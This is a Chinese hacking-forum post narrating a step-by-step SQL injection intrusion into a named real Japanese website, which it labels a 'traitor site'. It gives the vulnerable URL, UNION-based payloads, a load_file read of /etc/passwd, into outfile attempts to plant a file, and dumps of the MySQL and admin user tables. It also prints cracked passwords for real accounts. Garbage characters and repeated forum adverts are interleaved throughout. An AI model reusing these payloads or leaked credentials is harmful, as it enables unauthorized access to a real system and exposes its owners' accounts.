原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

/ R1 G, O! t; z( [
3 ?: `# y6 w$ C+ v! c, B0x01. 检测 www.zuaa.jp 收集数据
* n! C% J7 |6 c

whatweb
+ B9 y2 T- i5 t! h  F  I& w

; Q+ Z$ x9 P" M  D% F5 w8 ^- K5 v利用NMAP扫描
7 N5 [* H) d: p, C; I' W8 }
; n% v3 _* @3 \8 S* I中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
4 h  O! C/ E& `* i  l7 @( y) G0x02.找注入点
- f' }% L- C/ R找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390

' K; q1 a8 Q9 W5 x9 y" z
: \9 R6 o1 o$ C# a7 C' M0x03.order by
+ i3 J6 ^) d, e2 b             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1

order by 28报错，order by 27正常

0x04.   union手动查询
) c1 N' B5 ^6 Ohttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
0 }# T4 L. h* B- s  @添加到 27 时正常显示
6 U% Q( Q1 u; w" V
; T7 K% s( T4 N( A9 K( l中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x05. info:
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
( J7 l2 [* Q8 g2 ], n/ N
& V7 n: f! W; z' t4 S8 b2 Ruser:            root@localhost
+ D5 Y! j0 ~' E* ~3 ndatabase:    openpne
/ u2 i; l- q1 o4 g, T" Oversion:      4.1.22
% Y6 |% n# Q' c8 U0 u$ p& aos:             portbld-freebsd5.4

+ R; U! b- z$ ^0x06. root用户
. V: @/ \4 Q& h$ K0 T) Y利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
8 e6 F% ?' B* h1 ]. y: Y
通过工具转换

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x07. 利用 into outfile
9 L0 a+ Z& I: {全部都失败
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php

http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

页面显示“MDB2 Error:syntax error”
) i" ?4 @. D% T6 X) u- r/ j
0 `2 d# M  p6 r0 E' x0 _0 F. P7 B2 g0x08. 利用 mysql 4.1
1 _; U& P/ d1 Z2 A: o# K猜常规表名，字段未果 工具 sqlmap
0 ^+ N  t9 d$ k- Q% t/ p" D2 B, z中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持


+ ~9 d9 p7 {) f+ K
2 y  e2 x2 }+ h+ f6 T0x09. 查找后台
9 X# ?$ M! t3 E9 Y! [0 f利用 现有的各种 后台工具尝试都不行
( E: n! l: a2 X  P* e
0x10.  MySL外联方法
6 J+ o5 A3 W2 v' b3 W从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
+ n, `5 m7 T" K  Thttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user

这个可以在 www.cmd5.com 解密
root:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
; a& X9 W' l; k! |chen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
openpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
) S- H) C4 U  N) q# L3 d& F' Ozuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
2 ^  M+ D2 l2 a# i+ V4 F, G( A工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知
1 L2 _; G0 @5 n: L* k# z: t1 ~
/ }9 z  _. w( ~. Q
0x11. 网站突破
发现网站的源程序 openpne, google 下载 openpne 源码


0x12. 默认信息利用
http://sns.zuaa.jp/?m=admin&a=page_login

表名 (c_admin_user) ，字段名（username,password）
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user

3 t5 ~: g, A' p0 [; C3 A+ `- I解密
+ ]$ P+ z! V: j- Bzuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
) k" X- F2 R! w) B0 ]zuaajp:c0923ec5857796a393da99905008c176,          zju1897
; |1 n) [$ u4 c+ ^  f; @, v( Y
+ B% ^+ J# o0 h* q- f8 d' G中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x13. 登录后台
0 K% m0 u2 a& ]) p3 }


* n1 B+ y& |+ Z8 a$ e( M$ m5 w- ^0x14. 小结
利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
- h7 Q* Y$ k* k6 r0 o/ D感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
7 T& P' U1 Z. o  v  G4 B5 \中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！

荒村狂客

哪个牛人 费的这劲 入侵的